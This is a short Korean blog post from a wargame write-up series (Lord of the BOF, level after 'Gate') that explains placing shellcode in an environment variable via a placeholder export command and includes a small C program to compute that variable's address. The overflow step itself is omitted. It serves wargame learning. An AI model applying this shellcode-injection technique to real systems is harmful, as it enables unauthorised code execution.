반응형


저번 Gate문제와는 달리 버퍼에 ShellCode를 저장할 수 없습니다.

그러므로 새로운 공간에 ShellCode를 넣을 필요가 있습니다.

이때 우리는 환경변수를 사용할 수 있습니다.


export shellcode=`python -c 'print SHELLCODE'`


와 같은 명령어를 통해 환경변수에 ShellCode를 넣을 수 있습니다.

그러면 이제 환경변수의 주소 위치를 알아야 합니다.


환경변수의 주소는 

환경변수 내용의 크기와 프로그램의 시작명령줄의 길이에 비례합니다.


프로그래밍을 통해 위치를 알았습니다.

#include<stdlib.h>

#include<stdio.h>

int main(int argc,char *argv[])

{

        int k,a,b;

        a=strlen(argv[0]);

        b=strlen(argv[1]);

        k=getenv("KSHMK");

        k+=2*(a-b);

        printf("0x%x\n",k);

        return 0;

}



이제 공격만 하면 됩니다.

오버플로우하는 방법은 이전 Gate와 같으므로 생략합니다.




'Pwnable > LOB' 카테고리의 다른 글

LOB 6. Wolfman  (0) 2015.09.25
LOB 5. Orc  (0) 2015.09.23
LOB 4. Goblin  (0) 2015.09.20
LOB 3. Cobolt  (0) 2015.09.17
LOB 1. Gate  (0) 2015.09.08

+ Recent posts